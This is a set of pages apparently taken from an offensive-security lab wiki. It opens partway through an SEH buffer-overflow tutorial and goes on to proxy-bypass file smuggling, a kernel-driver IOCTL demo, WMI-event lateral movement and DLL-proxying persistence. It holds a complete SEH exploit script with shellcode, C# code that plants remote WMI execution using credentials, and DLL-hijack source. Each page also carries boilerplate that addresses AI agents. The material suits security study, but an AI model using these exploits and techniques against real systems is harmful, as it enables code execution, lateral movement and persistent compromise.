\`0141E768\` (red zone), which contains the 4 bytes representing our string \`BOOM\`, we need to jump over to our shellcode in the blue zone. ### Jumping Over to Shellcode We need to replace the \`BOOM\` string in our exploit code (which represents the address of the next SEH record) with a simple relative short \`jmp\` instruction that jumps 6 bytes further into the code. The instuction can be encoded using the following bytes \`eb 06\`. Additionally, since the \`jmp\` instruction is only 2 bytes, we'd need to supplement it with 2 NOP bytes to ensure the exploit reliability. So, \`BOOM\` should be replaced with bytes \`eb 06 90 90\` like so: \`\`\`python # payload += b"BOOM" payload += b"\\xeb\\x06\\x90\\x90" \`\`\` Note that even though we say we're jumping over 6 bytes into the code, but in fact, we are jumping over 8 bytes, because the \`jmp\` instruction itself is 2 bytes, so therefore 2+6=8. Essentially, we are jumping over the SEH record itself after which our shellcode lives. Our payload visually should now look like this: !\[\](/files/-MfSawkm1IE5W\_fZ7kiE) ### Exploit Let's see the full updated exploit code now: {% code title="exploit.py" %} \`\`\`python f = open("payload.txt", "wb") # Offset into the first SEH record payload = b"A" \* 1012 # Address of the next SEH record # payload += b"BOOM" payload += b"\\xeb\\x06\\x90\\x90" # Current SEH handler (pop pop ret) payload += b"\\xc8\\x12\\x94\\x63" # NOP sled for reliability payload += b"\\x90"\*10 # shellcode buf = b"" buf += b"\\xba\\xbf\\xaf\\x65\\x1b\\xd9\\xc4\\xd9\\x74\\x24\\xf4\\x5d\\x31" buf += b"\\xc9\\xb1\\x31\\x31\\x55\\x13\\x83\\xed\\xfc\\x03\\x55\\xb0\\x4d" buf += b"\\x90\\xe7\\x26\\x13\\x5b\\x18\\xb6\\x74\\xd5\\xfd\\x87\\xb4\\x81" buf += b"\\x76\\xb7\\x04\\xc1\\xdb\\x3b\\xee\\x87\\xcf\\xc8\\x82\\x0f\\xff" buf += b"\\x79\\x28\\x76\\xce\\x7a\\x01\\x4a\\x51\\xf8\\x58\\x9f\\xb1\\xc1" buf += b"\\x92\\xd2\\xb0\\x06\\xce\\x1f\\xe0\\xdf\\x84\\xb2\\x15\\x54\\xd0" buf += b"\\x0e\\x9d\\x26\\xf4\\x16\\x42\\xfe\\xf7\\x37\\xd5\\x75\\xae\\x97" buf += b"\\xd7\\x5a\\xda\\x91\\xcf\\xbf\\xe7\\x68\\x7b\\x0b\\x93\\x6a\\xad" buf += b"\\x42\\x5c\\xc0\\x90\\x6b\\xaf\\x18\\xd4\\x4b\\x50\\x6f\\x2c\\xa8" buf += b"\\xed\\x68\\xeb\\xd3\\x29\\xfc\\xe8\\x73\\xb9\\xa6\\xd4\\x82\\x6e" buf += b"\\x30\\x9e\\x88\\xdb\\x36\\xf8\\x8c\\xda\\x9b\\x72\\xa8\\x57\\x1a" buf += b"\\x55\\x39\\x23\\x39\\x71\\x62\\xf7\\x20\\x20\\xce\\x56\\x5c\\x32" buf += b"\\xb1\\x07\\xf8\\x38\\x5f\\x53\\x71\\x63\\x35\\xa2\\x07\\x19\\x7b" buf += b"\\xa4\\x17\\x22\\x2b\\xcd\\x26\\xa9\\xa4\\x8a\\xb6\\x78\\x81\\x65" buf += b"\\xfd\\x21\\xa3\\xed\\x58\\xb0\\xf6\\x73\\x5b\\x6e\\x34\\x8a\\xd8" buf += b"\\x9b\\xc4\\x69\\xc0\\xe9\\xc1\\x36\\x46\\x01\\xbb\\x27\\x23\\x25" buf += b"\\x68\\x47\\x66\\x46\\xef\\xdb\\xea\\xa7\\x8a\\x5b\\x88\\xb7" payload += buf f.write(payload) f.close() \`\`\` {% endcode %} Let's send the payload to RGUI and observe the stack once the payload is sent to the program: !\[Stack memory layout after the payload is sent to the program\](/files/-Meup6Xk2QGlcviMpTRs) Below gif captures the full exploitation process: !\[Confirming our SEH overflow exploit works\](/files/-MeugQXekt\_9o-8tlI9H) From above screenshot, note the following key points: \* Once we're at \`0141E768\`, relative short \`jmp + 6\` jumps to the start of our \`NOP\` sled at \`0141E770\`; \* The \`NOP\` sled takes us to the start of our shellcode at \`0141E77A\`; \* Once we hit F9 to resume execution, the shellcode is successfully executed and the calc is popped. ## Summary We can summarize that SEH overflow exploitation at a high level works as shown in the below diagram: !\[SEH overflow exploitation process overview\](/files/-Meuw2j9Pt0pwi0gnoe4) 1. Payload makes the program throw an exception; 2. SEH handler kicks in, which has been overwritten with a memory address in the program that contains \`pop pop ret\` instructions; 3. \`Pop pop ret\` instructions make the program jump to the next SEH record, which is overwritten with a short relative jump to the shellcode; 4. Shellcode is executed. We can update the above diagram with memory addresses that we observed in this lab like so: !\[SEH overflow exploitation process as observed in the labs\](/files/-Mev2N1sP0lHu6eCmiGH) ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/seh-based-buffer-overflow.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/defense-evasion/file-smuggling-with-html-and-javascript.md). # File Smuggling with HTML and JavaScript File smuggling is a technique that allows bypassing proxy blocks for certain file types that the user is trying to download. For example if a corporate proxy blocks \`.exe\` files from being downloaded via the browser, this is the technique you can use to smuggle those files through. ## Weaponization First of, we get a base64 of the executable we want to smuggle past the proxy: \`\`\` base64.exe C:\\experiments\\evil32.exe > .\\evil.txt \`\`\` !\[\](/files/-LONcxe2OAZZ4pF8VgFU) Then we use this code and insert our base64 encoded payload into the variable \`file\`: \`\`\`markup \`\`\` ## Execution If we open the HTML file in Internet Explorer (or Chrome), we get the Run/Download prompt and once it's run - the shell popped as expected: !\[\](/files/-LONcpflcIzoqdKUWYay) ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/defense-evasion/file-smuggling-with-html-and-javascript.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/sending-commands-from-userland-to-your-kernel-driver-using-ioctl.md). # Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL This is a quick exercise that demonstrates how to: \* Create a simple WDM kernel mode driver, that can receive and respond to a custom defined input/output control code (IOCTL) sent in from a userland program \* Create a simple userland program that can sent a custom defined IOCTL to the kernel driver \* Pass some data from the userland program to the kernel driver via \`DeviceIoConctrol\` \* Pass some data back from the kernel to the userland program Below are the key code snippets that will make our kernel driver and the userland program. ## Kernel Driver ### Populating DriverObject with IRP Callback Routines Inside driver's entry function, we populate our driver object with pointers to important routines that will be executed, for example, when the driver is unloaded or a handle to its device's symbolic link is obtained (\`IRP\_MJ\_CREATE\`) or closed (\`IRP\_MJ\_CLOSE\`): !\[\](/files/-M1gqgY9y-0pv5xA3ZaY) This is required, because these driver functions (callbacks) will be called by the OS when those events (i.e a userland application trying to obtain a handle to our device, unload the driver or close device's handle) will fire. We do not want the OS to not know what to do with our driver when those events fire, therefore we tell it. ### Creating Device and its Symbolic Link This is where we create a device (that we are writing the driver for) and its symbolic link. The symbolic link is required for when we want to access our driver from the userland (by opening a handle to the device by calling \`CreateFile\`) and ask it to execute some code in respose to our custom defined IOCTL: !\[\](/files/-M1bJMfU5aqI3fSlxmg9) {% hint style="info" %} \* IOCTL control code is a code that is sent to the device driver from via an \`RP\_MJ\_DEVICE\_CONTROL\` request using \`DeviceIoControl\` WinAPI. \* IOCTL control code tells the driver what action the driver needs to perform. \* For example, IOCTL code 0x202 (\`IOCTL\_STORAGE\_EJECT\_MEDIA\`) could be sent to a USB/CDROM device and its driver would carry out an appropriate action for the given device, i.e open the CD tray for a CD-ROM or eject the USB media storage. {% endhint %} Below shows the device name and its symbolic link we are using in this exercise: !\[\](/files/-M1bLiEX4YbSG6D1lQc6) After the device and its symbolic links are created, the newly created device \`SpotlessDevice\` is now visible inside WinObj: !\[\](/files/-M1bNBOdQfEyhNxL-N\_J) Additionally, we can see the symbolic link \`SpotlessDeviceLink\` pointing to our device \`\\Device\\SpotlessDevice\`: !\[\](/files/-M1bNMSqkf34gicbYQCS) ### MajorFunctions This function will handle IRPs that request (\`CreateFile\`) or close (\`CloseHandle\`) the handle to our device \`\\Device\\SpotlessDevice\` through the symbolic link \`\\\\.\\SpotlessDeviceLink\`: !\[\](/files/-M1bKKap8ShA35gezTUG) Below shows how IRP requests \`IRP\_MJ\_CREATE\` (for obtaining a handle to \`\\Device\\SpotlessDevice\` through the symbolic link) and \`IRP\_MJ\_CLOSE\` (for closing the handle) are hit when we double click the \`SpotlessDevice\` in WinObj: !\[\](/files/-M1bNsLClvcJyhG3Fijk) ### HandleCustomIOCTL This routine will handle the IOCTL requests sent from our userland program. In this exercise, when it receives an IOCTL code for \`IOCTL\_SPOTLESS\`, it will print a string that will come from our userland program's commandline argument. Additionally, it will send back a string for the userland program to print out: !\[\](/files/-M1gXyaarsgsRAzflXWn) {% hint style="info" %} When \`IoDeviceControl\` is called in the userland with a custom IOCTL and any input data that we want to be sent to the kernel, the OS intercepts that request and packages it into an I/O Packet (IRP), that will then be handed to our callback \`HandleCustomIOCTL\`, that we previously registered in the \`DriverEntry\` routine for the IRP \`IRP\_MJ\_DEVICE\_CONTROL\`. IRP, among many other things, contains the incoming IOCTL code, the input data sent from the userland request and a buffer that the kernel driver code can use to send the response back to the userland program. {% endhint %} ### Defining Custom IOCTL \* IOCTL code needs to be defined both in the kernel driver as well as in the userland program \* IOCTL code is usually defined with a macro \[\`CTL\_CODE\`\](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes). \* Microsoft suggests that you can use any code starting from 0x800: !\[\](/files/-M1bPU1tt8AwsIXbOfDu) ## Userland Program Below is the userland code that obtains a handle to the device \`\\Device\\SpotlessDevice\` via its symbolic link \`\\\\.\\SpotlessDeviceLink\`, that we created earlier inside the driver's \`DriverEntry\` routine: !\[\](/files/-M1bLawFrBHRgRgK0z1g) Issuing a custom defined IOCTL to the driver and sending it a pointer to the string that comes as a commandline argument to our userland program, by calling \`DeviceIoControl\`: !\[\](/files/-M1bM-6XoAWp8gRIwxlD) Additionally, the above code prints out the string received from the kernel. ## Demo Below shows how: 1. We execute our userland program with a string \`spotless saying ola from userland\` as an argument 2. That argument is sent to the kernel driver via our custom defined IOCTL \`IOCTL\_SPOTLESS\` 3. The kernel sents back some data to the userland program 4. The userland program receives text back from the kernel and prints it in DbgView !\[\](/files/-M1bP5T0qKKLHHV6KPVs) ## Code \* \`driver.c\` is the driver code that receives and responds to IOCTL requests sent from the userland and send some data back to the userland program \* \`userland.cpp\` is the userland program sending IOCTL and receiving data from the kernel driver {% tabs %} {% tab title="driver.c" %} {% code title="" %} \`\`\`cpp #include DRIVER\_DISPATCH HandleCustomIOCTL; #define IOCTL\_SPOTLESS CTL\_CODE(FILE\_DEVICE\_UNKNOWN, 0x2049, METHOD\_BUFFERED, FILE\_ANY\_ACCESS) UNICODE\_STRING DEVICE\_NAME = RTL\_CONSTANT\_STRING(L"\\\\Device\\\\SpotlessDevice"); UNICODE\_STRING DEVICE\_SYMBOLIC\_NAME = RTL\_CONSTANT\_STRING(L"\\\\??\\\\SpotlessDeviceLink"); void DriverUnload(PDRIVER\_OBJECT dob) { DbgPrint("Driver unloaded, deleting symbolic links and devices"); IoDeleteDevice(dob->DeviceObject); IoDeleteSymbolicLink(&DEVICE\_SYMBOLIC\_NAME); } NTSTATUS HandleCustomIOCTL(PDEVICE\_OBJECT DeviceObject, PIRP Irp) { UNREFERENCED\_PARAMETER(DeviceObject); PIO\_STACK\_LOCATION stackLocation = NULL; CHAR \*messageFromKernel = "ohai from them kernelz"; stackLocation = IoGetCurrentIrpStackLocation(Irp); if (stackLocation->Parameters.DeviceIoControl.IoControlCode == IOCTL\_SPOTLESS) { DbgPrint("IOCTL\_SPOTLESS (0x%x) issued", stackLocation->Parameters.DeviceIoControl.IoControlCode); DbgPrint("Input received from userland: %s", (char\*)Irp->AssociatedIrp.SystemBuffer); } Irp->IoStatus.Information = strlen(messageFromKernel); Irp->IoStatus.Status = STATUS\_SUCCESS; DbgPrint("Sending to userland: %s", messageFromKernel); RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, messageFromKernel, strlen(Irp->AssociatedIrp.SystemBuffer)); IoCompleteRequest(Irp, IO\_NO\_INCREMENT); return STATUS\_SUCCESS; } NTSTATUS MajorFunctions(PDEVICE\_OBJECT DeviceObject, PIRP Irp) { UNREFERENCED\_PARAMETER(DeviceObject); PIO\_STACK\_LOCATION stackLocation = NULL; stackLocation = IoGetCurrentIrpStackLocation(Irp); switch (stackLocation->MajorFunction) { case IRP\_MJ\_CREATE: DbgPrint("Handle to symbolink link %wZ opened", DEVICE\_SYMBOLIC\_NAME); break; case IRP\_MJ\_CLOSE: DbgPrint("Handle to symbolink link %wZ closed", DEVICE\_SYMBOLIC\_NAME); break; default: break; } Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS\_SUCCESS; IoCompleteRequest(Irp, IO\_NO\_INCREMENT); return STATUS\_SUCCESS; } NTSTATUS DriverEntry(PDRIVER\_OBJECT DriverObject, PUNICODE\_STRING RegistryPath) { UNREFERENCED\_PARAMETER(DriverObject); UNREFERENCED\_PARAMETER(RegistryPath); NTSTATUS status = 0; // routine that will execute when our driver is unloaded/service is stopped DriverObject->DriverUnload = DriverUnload; // routine for handling IO requests from userland DriverObject->MajorFunction\[IRP\_MJ\_DEVICE\_CONTROL\] = HandleCustomIOCTL; // routines that will execute once a handle to our device's symbolik link is opened/closed DriverObject->MajorFunction\[IRP\_MJ\_CREATE\] = MajorFunctions; DriverObject->MajorFunction\[IRP\_MJ\_CLOSE\] = MajorFunctions; DbgPrint("Driver loaded"); IoCreateDevice(DriverObject, 0, &DEVICE\_NAME, FILE\_DEVICE\_UNKNOWN, FILE\_DEVICE\_SECURE\_OPEN, FALSE, &DriverObject->DeviceObject); if (!NT\_SUCCESS(status)) { DbgPrint("Could not create device %wZ", DEVICE\_NAME); } else { DbgPrint("Device %wZ created", DEVICE\_NAME); } status = IoCreateSymbolicLink(&DEVICE\_SYMBOLIC\_NAME, &DEVICE\_NAME); if (NT\_SUCCESS(status)) { DbgPrint("Symbolic link %wZ created", DEVICE\_SYMBOLIC\_NAME); } else { DbgPrint("Error creating symbolic link %wZ", DEVICE\_SYMBOLIC\_NAME); } return STATUS\_SUCCESS; } \`\`\` {% endcode %} {% endtab %} {% tab title="userland.cpp" %} \`\`\`cpp #include #include #define IOCTL\_SPOTLESS CTL\_CODE(FILE\_DEVICE\_UNKNOWN, 0x2049, METHOD\_BUFFERED, FILE\_ANY\_ACCESS) int main(char argc, char \*\* argv) { HANDLE device = INVALID\_HANDLE\_VALUE; BOOL status = FALSE; DWORD bytesReturned = 0; CHAR inBuffer\[128\] = {0}; CHAR outBuffer\[128\] = {0}; RtlCopyMemory(inBuffer, argv\[1\], strlen(argv\[1\])); device = CreateFileW(L"\\\\\\\\.\\\\SpotlessDeviceLink", GENERIC\_WRITE | GENERIC\_READ | GENERIC\_EXECUTE, 0, 0, OPEN\_EXISTING, FILE\_ATTRIBUTE\_SYSTEM, 0); if (device == INVALID\_HANDLE\_VALUE) { printf\_s("> Could not open device: 0x%x\\n", GetLastError()); return FALSE; } printf\_s("> Issuing IOCTL\_SPOTLESS 0x%x\\n", IOCTL\_SPOTLESS); status = DeviceIoControl(device, IOCTL\_SPOTLESS, inBuffer, sizeof(inBuffer), outBuffer, sizeof(outBuffer), &bytesReturned, (LPOVERLAPPED)NULL); printf\_s("> IOCTL\_SPOTLESS 0x%x issued\\n", IOCTL\_SPOTLESS); printf\_s("> Received from the kernel land: %s. Received buffer size: %d\\n", outBuffer, bytesReturned); CloseHandle(device); } \`\`\` {% endtab %} {% endtabs %} ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/sending-commands-from-userland-to-your-kernel-driver-using-ioctl.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/lateral-movement/lateral-movement-via-wmi-events.md). # Lateral Movement via WMI Event Subscription This is a quick lab to familiariaze with a lateral movement technique using WMI events, as described in \[@domchell\](https://twitter.com/domchell) aricle \[I Like to Move It: Windows Lateral Movement Part 1 – WMI Event Subscription\](https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/) - go check it out for more details, including detection ideas. See my other lab related to persistence using WMI events: {% content-ref url="/pages/-LJ4BGyYTQTU1CxdMpU3" %} \[Abusing Windows Managent Instrumentation\](/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation.md) {% endcontent-ref %} ## Walkthrough The below C# code for WMI events based lateral movement does a couple of things: | Line | Action | | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | 29 - 33 | Connects to the remote endpoint \`192.168.56.105\` using local admin credentials \`spotless:123456\` | | 33 - 46 | Creates a new WMI filter `evilSpotlessFilter` on `192.168.56.105`. It will get triggered when a new logon session is created on `192.168.56.105` | | 49 - 52 | Creates a WMI consumer `evilSpotlessConsumer` on `192.168.56.105`. This consumer executes `mspaint.exe` on `192.168.56.105`, when the filter `evilSpotlessFilter` is triggered (upon new logon session creation) | | 55 - 58 | WMI filter \`evilSpotlessFilter\` and WMI consumer \`evilSpotlessConsumer\` are bound. In layman's terms, the system \`192.168.56.105\` is instructed to \*\*DEFINITELY\*\* fire \`mspaint.exe\` on each new logon session that is created on the system. | \`\`\`csharp // code completely stolen from @domchell article // https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/ // slightly modified to accommodate this lab using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Management; namespace wmisubscription\_lateralmovement { class Program { static void Main(string\[\] args) { // Connect to remote endpoint for WMI management string NAMESPACE = @"\\\\192.168.56.105\\root\\subscription"; ConnectionOptions cOption = new ConnectionOptions(); ManagementScope scope = null; scope = new ManagementScope(NAMESPACE, cOption); scope.Options.Username = "spotless"; scope.Options.Password = "123456"; scope.Options.Authority = string.Format("ntlmdomain:{0}", "."); scope.Options.EnablePrivileges = true; scope.Options.Authentication = AuthenticationLevel.PacketPrivacy; scope.Options.Impersonation = ImpersonationLevel.Impersonate; scope.Connect(); // Create WMI event filter ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("\_\_EventFilter"), null); string query = "SELECT \* FROM \_\_InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32\_LogonSession'"; WqlEventQuery myEventQuery = new WqlEventQuery(query); ManagementObject myEventFilter = wmiEventFilter.CreateInstance(); myEventFilter\["Name"\] = "evilSpotlessFilter"; myEventFilter\["Query"\] = myEventQuery.QueryString; myEventFilter\["QueryLanguage"\] = myEventQuery.QueryLanguage; myEventFilter\["EventNameSpace"\] = @"root\\cimv2"; myEventFilter.Put(); // Create WMI event consumer ManagementObject myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance(); myEventConsumer\["Name"\] = "evilSpotlessConsumer"; myEventConsumer\["ExecutablePath"\] = "mspaint.exe"; myEventConsumer.Put(); // Bind filter and consumer ManagementObject myBinder = new ManagementClass(scope, new ManagementPath("\_\_FilterToConsumerBinding"), null).CreateInstance(); myBinder\["Filter"\] = myEventFilter.Path.RelativePath; myBinder\["Consumer"\] = myEventConsumer.Path.RelativePath; myBinder.Put(); // Cleanup // myEventFilter.Delete(); // myEventConsumer.Delete(); // myBinder.Delete(); } } } \`\`\` ## Observations Once \`connect\` method is called, a couple of connections from the attacking machine (top right) are initiated to the target machine \`192.168.56.105\` (bottom right) over port TCP 135 (traffic receiver is svchost.exe as it's hosting the RPC service through which we are communicating): !\[\](/files/-MKB8pNUAwx8DSp4hOqO) After the code has executed, it will have created the WMI event filters, consumers and bind them on the target host \`192.168.56.105\`. On the target host, we can check if the said filters and consumers were created like so: \`\`\`csharp # view wmi filters Get-WmiObject -Class \_\_EventFilter -Namespace root\\subscription # view wmi consumers Get-WmiObject -Class \_\_EventConsumer -Namespace root\\subscription # view bindings Get-WmiObject -Class \_\_FilterToConsumerBinding -Namespace root\\subscription \`\`\` Below shows output of the \`evilSpotlessFilter\` WMI filter we created on the target system: !\[\](/files/-MKBDQ6IC-QMOj7WeMoy) ## Demo Below shows the WMI events based lateral movement technique in action: \* On the left, we compile and run the code that creates WMI event filters, consumers and binds them together \* In the top right corner - ther is a ProcMon that is set to capture when a new \`mspaint.exe\` process starts. In our case, it should start once there is a new logon session created on the system (remember, because of the \`evilSpotlessFilter\`) \* In the bottom right corner there is a powershell console initiating a new logon session with \`runas.exe\`. Once the authentication succeeds, a new logon session is created, cmd.exe is spawned and the WMI event filter \`evilSpotlessFilter\` is triggered and WMI event consumer \`evilSpotlessConsumer\` kicks off the \`mspaint.exe\`: !\[\](/files/-MKBAu8Qs\_huskwkcIsO) ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/lateral-movement/lateral-movement-via-wmi-events.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence.md). # DLL Proxying for Persistence This is a quick lab to get familiar with a technique that's been on my todo list for some time - DLL proxying. This technique could be used for persistence or to intercept data, but in this lab, I am only concerned with persistence. ## Overview In the context of malware, DLL proxying is a DLL hijacking technique, where a legitimate DLL say, \`legit.dll\` is renamed to \`legit1.dll\` and a malicious dll, which exports \*\*all\*\* the same functions that the \`legit1.dll\` exports, is placed instead of \`legit.dll\`. Once the dll is hijacked, whenever a program calls a function, say \`exportedFunction1\` from \`legit.dll\`, here is what happens: \* \`legit.dll\` gets loaded into the calling process and executes its malicious code, say reaches out to the C2 \* \`legit.dll\` forwards the call to \`exportedFunction1\` in \`legit1.dll\` \* \`legit1.dll\` executes the \`exportedFunction1\` This function forwarding from one DLL to another is what gives the technique its name - DLL proxying, since the malicious DLL is sitting in between the application calling the exported function and a legitimate DLL that implements that exported function. At a high-level, below diagram shows how it all looks before and after the DLL is hijacked: !\[\](/files/-MInbe6vA1uOH7re8z8a) ## Walkthrough At a high level, the technique works as follows: 1. Decide on which DLL to hijack. Let's say, it's located in c:\\temp\\legit.dll. Move it to c:\\temp\\legit1.dll 2. Get a list of all the exported functions of c:\\temp\\legit1.dll 3. Create a malicious DLL malicious.dll, that once loaded by the target process, executes your payload 4. Inside the malicious.dll, redirect/forward \*\*all\*\* the exported functions by legit.dll (this is the DLL we are hijacking) to legit1.dll (this is still the same DLL we are hijacking, just with a new name) 5. Copy malicious.dll to c:\\temp\\legit.dll 6. At this point, any program that calls an \*\*any\*\* exported function in legit.dll will now execute your malicious payload and then transfer the execution to the same exported function in c:\\temp\\legit1.dll. ### Target DLL For demo purposes, we will create our own DLL legitimate DLL to be hijacked, called \`legit.dll\`: {% tabs %} {% tab title="legit-dll.cpp" %} \`\`\`cpp #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul\_reason\_for\_call, LPVOID lpReserved ) { switch (ul\_reason\_for\_call) { case DLL\_PROCESS\_ATTACH: case DLL\_THREAD\_ATTACH: case DLL\_THREAD\_DETACH: case DLL\_PROCESS\_DETACH: break; } return TRUE; } extern "C" \_\_declspec(dllexport) VOID exportedFunction1(int a) { MessageBoxA(NULL, "Hi from legit exportedFunction1", "Hi from legit exportedFunction1", 0); } extern "C" \_\_declspec(dllexport) VOID exportedFunction2(int a) { MessageBoxA(NULL, "Hi from legit exportedFunction2", "Hi from legit exportedFunction2", 0); } extern "C" \_\_declspec(dllexport) VOID exportedFunction3(int a) { MessageBoxA(NULL, "Hi from legit exportedFunction3", "Hi from legit exportedFunction3", 0); } \`\`\` {% endtab %} {% endtabs %} Let's say we've now compiled the above as a \`legit.dll\` to \`c:\\temp\\legit.dll\`. It has 3 exported functions as shown below: ![](https://www.ired.team/files/-MIn2_46vClIlN9b8EY3) To confirm the DLL works, we can see that calling \`exportedFunction1\` from inside the \`legit.dll\` gives a popup like this: \`\`\` rundll32 c:\\temp\\legit.dll,exportedFunction1 \`\`\` !\[\](/files/-MIn3lQQTxSLpEXFcEc1) We now have the \`legit.dll\` and its target function \`exportedFunction1\` to hijack, let's move on to the malicious DLL that will do the function proxying. ### Malicious DLL Let's now create the \`malicious.dll\` - we will be using it to hijack programs that call functions from \`c:\\temp\\legit.dll\`. Compile the below as a \`malicious.dll\`: {% tabs %} {% tab title="malicious-dll.cpp" %} \`\`\`cpp #include "pch.h" #pragma comment(linker, "/export:exportedFunction1=legit1.exportedFunction1") #pragma comment(linker, "/export:exportedFunction2=legit1.exportedFunction2") #pragma comment(linker, "/export:exportedFunction3=legit1.exportedFunction3") BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul\_reason\_for\_call, LPVOID lpReserved ) { switch (ul\_reason\_for\_call) { case DLL\_PROCESS\_ATTACH: { MessageBoxA(NULL, "Hi from malicious dll", "Hi from malicious dll", 0); } case DLL\_THREAD\_ATTACH: case DLL\_THREAD\_DETACH: case DLL\_PROCESS\_DETACH: break; } return TRUE; } \`\`\` {% endtab %} {% endtabs %} The key piece in the \`malicious.dll\` is the \`#pragma\` comment at the top, that tells the linker to export / forward (technical name is \`Forward Export\`) functions \`exportedFunction1\`, \`exportedFunction2\`, \`exportedFunction3\` to the module \`legit1.dll\`. Also, note that once the \`malicious.dll\` is loaded, it will display a prompt saying \`Hi from malicious dll\`, but this could be any payload of our choice: !\[\](/files/-MIn9B8jBs4yRljj\_1xc) Let's test if the \`malicious.dll\` executes our payload - shows a message prompt: \`\`\` rundll32 malicious.dll,whatever \`\`\` !\[\](/files/-MIn6CP7g-ePVREQ80J7) ### DLL Proxying / Hijacking We now have all the required pieces to test the dll proxying concept. Let's move the \`malicious.dll\` to \`c:\\temp\`, where \`legit.dll\` resides: !\[\](/files/-MIn7DFnEwprtV43KA0g) Rename the \`legit.dll\` to \`legit1.dll\` and \`alicious.dll\` to \`legit.dll\`: \`\`\` mv .\\legit.dll .\\legit1.dll; mv .\\malicious.dll .\\legit.dll \`\`\` !\[\](/files/-MIn7cz3LT\_8PCIKS\_X-) ### Moment of Truth Now, let's invoke the \`exportedFunction1\` from \`legit.dll\` - this is our malicious DLL with DLL proxying enabled. If the hijacking is successful, we will see the prompt \`Hi from malicious dll\` followed by the prompt \`Hi from legit exportedFunction1\` from the \`legit1.dll\`: !\[Successful DLL proxying in action\](/files/-MIn9gGZoTV1BugKCAq6) Implementing DLL proxying for a DLL that exports many functions may be a bit painful, but luckily there are multiple projects that help you automate this process, one of which is , so go check it out. ## References \--- # Agent 